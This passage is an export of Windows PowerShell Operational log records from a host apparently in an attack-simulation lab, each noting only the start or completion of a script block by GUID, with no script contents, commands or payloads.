LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049535
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049534
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049533
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049532
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049516
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049515
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049510
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049509
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
